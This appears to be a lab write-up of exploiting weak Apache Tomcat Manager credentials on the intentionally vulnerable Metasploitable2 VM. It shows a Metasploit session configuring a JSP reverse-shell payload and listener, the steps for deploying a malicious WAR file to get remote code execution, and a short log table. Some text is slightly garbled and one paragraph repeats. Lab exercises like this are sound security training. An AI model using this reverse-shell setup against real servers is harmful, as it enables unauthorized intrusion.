

# Exploit Simulation

**Target:** Metasploitable2 (intentionally vulnerable VM)

**Tool:** Metasploit Framework

**Module:** `exploit/multi/http/tomcat_mgr_login`

**Purpose:** Simulate exploitation of weak Tomcat Manager credentials.

```
msf6 exploit(multi/http/tomcat_mgr_upload) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.160.128
LHOST => 192.168.160.128
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
```

Burp Suite was used to intercept and analyze HTTP requests.  
Multiple input parameters were identified, providing potential attack surfaces for further testing and validation.

## What This Exploit Does

- Metasploitable2 runs **Apache Tomcat** with **default/weak credentials**
- The **Tomcat Manager application** allows deployment of applications
- If credentials are guessed, an attacker can upload a **malicious WAR file**
- This leads to **Remote Code Execution (RCE)**

## Exploit Simulation – Logical Steps

### Step 1: Identify Vulnerable Service

- Confirm Tomcat is running on the target

- Identify the Tomcat Manager interface (usually HTTP-based)
- Note exposed port and service banner

## Step 2: Select Appropriate Exploit Module

- Choose the Metasploit module designed for:
  - Tomcat Manager login
  - Credential brute-force / reuse
- Match exploit type to service version

## Step 3: Configure Target Details

- Set:
  - Target IP (Metasploitable2)
  - Target port (Tomcat service)
- Choose a **Java-based payload** compatible with Tomcat

## Step 4: Execute Exploit (Simulation)

- Metasploit attempts authentication
- On success:
  - Malicious application is deployed
  - Remote shell session is established

# Exploit Simulation

**Target Environment:** Metasploitable2 (Vulnerable Lab VM)

**Exploit Type:** Apache Tomcat Manager Remote Code Execution

**Objective:** Demonstrate exploitation of weak Tomcat Manager credentials leading to remote code execution.

## Exploit Log

Exploit ID	Description	Target IP	Status	Payload
003	Tomcat RCE	192.168.0.10 0	Succes s	Java Shell

The exploit successfully achieved remote code execution on the target system, confirming the presence of an insecure Tomcat Manager configuration with weak or default credentials.

The Tomcat Manager remote code execution vulnerability was validated by reviewing publicly available Proof-of-Concept (PoC) entries on Exploit-DB. The PoC described exploitation through weak or default Tomcat Manager credentials and malicious application upload, matching the behavior observed in the Metasploitable2 lab environment.

The Tomcat Manager remote code execution vulnerability was validated using Exploit-DB Proof-of-Concept references. The PoC confirmed exploitation through weak credentials and malicious application upload, consistent with results observed in the Metasploitable2 lab. This validation verified the exploit's impact and confirmed insecure service configuration.